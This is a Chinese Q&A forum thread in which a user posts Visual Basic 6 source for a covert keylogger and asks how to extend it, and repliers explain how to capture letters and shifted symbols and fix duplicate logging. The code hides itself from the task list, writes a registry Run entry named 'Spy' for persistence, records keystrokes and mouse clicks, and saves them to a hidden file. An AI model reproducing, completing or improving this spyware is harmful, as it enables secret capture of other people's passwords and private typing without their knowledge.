永发信息网

VB高手进来,键盘记录器问题

答案:3  悬赏:70  手机版
解决时间 2021-07-20 20:04
  • 提问者网友:抽煙菂渘情少年
  • 2021-07-20 02:44

'API函数的声明
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

'--------------------------------------------------------------------
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

'--------------------------------------------------------------------
Private Sub Form_KeyPress(KeyAscii As Integer)

If KeyAscii = vbKeyEscape Then '当按下ESC键时就退出
Unload Me
End If
End Sub
'--------------------------------------------------------------------
Private Sub Form_Load()

App.TaskVisible = False
On Error Resume Next
Shell "cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Spy /d """ _
& App.Path & "\" & App.EXEName & ".exe", vbNormal
End Sub

Private Sub Text1_Change()

End Sub

Private Sub Timer1_Timer()
Label2.Caption = Time() '加载时间
End Sub

Private Sub Timer2_Timer()
For I = 32 To 256
x = GetAsyncKeyState(I)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(I)
End If
x = GetAsyncKeyState(186)
If x = -32767 Then
Text1.Text = Text1.Text + ";"
End If
x = GetAsyncKeyState(187)
If x = -32767 Then
Text1.Text = Text1.Text + "="
End If
x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ","
End If
x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "-"
End If
x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + "."
End If
x = GetAsyncKeyState(191)
If x = -32767 Then
Text1.Text = Text1.Text + "/"
End If

'------------------------------
'数字的虚拟键
x = GetAsyncKeyState(96)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(97)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(98)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(99)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(100)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(101)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(102)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(103)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(104)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(105)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If
'--------------------------------------
x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text + " (回车) "
End If
'--------------------------------------
'鼠标的虚拟键
x = GetAsyncKeyState(1)
If x = -32767 Then
Text1.Text = Text1.Text + " (鼠标左) "
End If

x = GetAsyncKeyState(2)
If x = -32767 Then
Text1.Text = Text1.Text + " (鼠标右) "
End If
'--------------------------------------
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Text1.Text + " (←) "
End If
Next I
End Sub


Private Sub Timer3_Timer()
Open "c:\backup.txt" For Append As #1
Write #1, Text1.Text + x
Close #1
Call SetAttr("c:\backup.txt", vbHidden)
End Sub

Private Sub Timer4_Timer()
Label1.ForeColor = RGB(255 * Rnd, 255 * Rnd, 255 * Rnd)
End Sub

在这段代码里,有4个问题:

一 ,

For I = 32 To 256
x = GetAsyncKeyState(I)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(I)
End If

这一代码是什么意思。

二 ,把A~Z的键记录到Text1 怎么写?

三 ,把!@#$%^&*() 这些符号的键记录到Text1 怎么写?

四 ,为什么把键记录的时候总是循环的记录,例如,我按键盘上某一个键,按照Timer设定的时间(2万),而他生成出来的backup.txt里的内容是重复的????

就这四个问题。也许我打得太复杂了,

但还是跪求大虾呀~~~~

高分追加!!!

最佳答案
  • 五星知识达人网友:你可爱的野爹
  • 2021-07-20 03:06

一、32-256是键值范围 GetAsyncKeyState(I)取按键状态值 =-32767即BIT15=1 BIT0=1代表按键已按下


Text1.Text = Text1.Text + Chr(I)将对应字符显示至TEXT1


二、I值取65-90即可


三、判断SHIFT键是否按下 再看对应数字键


四、打开文件模式改成这个就OK了 只存一次 你那模式是在原来基础上续存Open "c:\backup.txt" For Output As #1

全部回答
  • 1楼网友:躲不过心动
  • 2021-07-20 05:33

回:

灰色轨迹 2009-12-12 22:57

'-----------------------------

用 GetAsyncKeyState +timer 足矣,要准确点用键盘钩子也就够了,VB怎么做不了了?这个不是VB不VB的问题,是个人水平问题。

  • 2楼网友:洒脱疯子
  • 2021-07-20 04:32

兄弟 键盘监听用GetAsyncKeyState是行不通,简单点的得用钩子,高级点的用驱动或者直接读取键盘IO芯片,不过我看VB还是免了,做不了。

我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯